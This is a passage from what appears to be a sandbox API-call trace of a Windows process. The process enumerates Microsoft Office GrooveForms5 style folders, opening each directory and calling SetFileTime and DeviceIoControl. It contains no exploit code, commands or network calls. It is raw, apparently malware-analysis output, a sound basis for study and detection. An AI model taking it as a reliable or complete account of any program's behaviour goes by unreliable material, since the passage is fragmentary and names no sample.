cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0077.573] GetLastError () returned 0x12 [0077.574] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Slate\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9040 [0077.574] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0077.574] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd54e650, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.574] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8f7a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcd8f7a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x16c, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0077.574] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8f7a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcd8f7a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x16c, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0077.574] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8f7a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcd8f7a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x16c, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0077.574] GetLastError () returned 0x12 [0077.574] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11a2160) returned 1 [0077.574] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0077.574] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11a2058) returned 1 [0077.574] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11a1f50) returned 1 [0077.574] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8f7a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcd8f7a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xdbf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Slate.css", cAlternateFileName="")) returned 1 [0077.574] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8f7a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcd8f7a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x74e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SlateBlue.css", cAlternateFileName="")) returned 1 [0077.574] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd54e650, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SoftBlue", cAlternateFileName="")) returned 1 [0077.574] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a1f50 [0077.574] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SoftBlue" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\softblue"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd54e650, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.575] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SoftBlue" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\softblue"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0077.575] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0077.575] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xaca490 [0077.575] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xaca490, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0xaca490, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0077.575] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaca490) returned 1 [0077.575] NtClose (Handle=0x168) returned 0x0 [0077.575] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11a1f50) returned 1 [0077.575] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.575] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0077.575] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a1f50 [0077.575] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.575] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a2058 [0077.575] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SoftBlue\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9040 [0077.576] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd54e650, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.576] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8f7a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcd8f7a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1afa, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.gif", cAlternateFileName="")) returned 1 [0077.576] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.576] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.576] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.576] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.576] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.576] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a2160 [0077.576] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0077.576] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaaf900 [0077.576] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a3f48 [0077.576] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.576] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8f7a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcd8f7a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0077.576] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.576] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.576] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.577] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.577] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.577] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaaf920 [0077.577] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a4050 [0077.577] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.577] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcec0a700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcec0a700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0077.577] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.577] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.577] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.577] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.577] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.577] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaaf940 [0077.577] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a4158 [0077.577] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.577] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcec0a700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcec0a700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0077.577] GetLastError () returned 0x12 [0077.577] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SoftBlue\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e90c0 [0077.578] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0077.578] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd54e650, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.578] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8f7a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcd8f7a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1afa, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.gif", cAlternateFileName="")) returned 1 [0077.578] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8f7a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcd8f7a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0077.578] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcec0a700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcec0a700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0077.578] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcec0a700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcec0a700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0077.578] GetLastError () returned 0x12 [0077.578] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11a2058) returned 1 [0077.578] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0077.578] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11a2160) returned 1 [0077.578] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11a1f50) returned 1 [0077.578] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8f7a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcd8f7a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xec4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SoftBlue.css", cAlternateFileName="")) returned 1 [0077.578] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd67f150, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd6a52b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd6a52b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Solutions", cAlternateFileName="")) returned 1 [0077.578] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a1f50 [0077.578] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd67f150, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd6a52b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd6a52b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.581] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0077.581] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0077.581] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xaca490 [0077.581] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xaca490, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0xaca490, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0077.581] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaca490) returned 1 [0077.581] NtClose (Handle=0x178) returned 0x0 [0077.581] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11a1f50) returned 1 [0077.581] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.581] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0077.582] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a1f50 [0077.582] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.582] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a2160 [0077.582] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e90c0 [0077.611] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd67f150, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd6a52b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd6a52b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.611] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcec0a700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcec0a700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xe5, dwReserved0=0x0, dwReserved1=0x0, cFileName="arrow.png", cAlternateFileName="")) returned 1 [0077.611] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.612] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.612] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.612] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.612] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.612] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a2058 [0077.612] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0077.612] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaaf960 [0077.612] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a4260 [0077.612] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.612] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcec0a700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcec0a700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x931, dwReserved0=0x0, dwReserved1=0x0, cFileName="Document.gif", cAlternateFileName="")) returned 1 [0077.612] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.612] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.612] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.613] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.613] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.613] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaaf980 [0077.613] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a4368 [0077.613] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.613] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcec0a700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6a52b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcec0a700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x832, dwReserved0=0x0, dwReserved1=0x0, cFileName="Generic.gif", cAlternateFileName="")) returned 1 [0077.613] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.613] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.613] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.613] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.613] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.613] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaaf9a0 [0077.613] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a4470 [0077.613] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.613] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcec0a700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6a52b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcec0a700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="gradient.png", cAlternateFileName="")) returned 1 [0077.613] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.614] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.614] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.614] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.614] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.614] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaaf9c0 [0077.614] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a4578 [0077.614] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x3bc0) returned 0xaca490 [0077.614] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xac6908) returned 1 [0077.614] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.614] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, 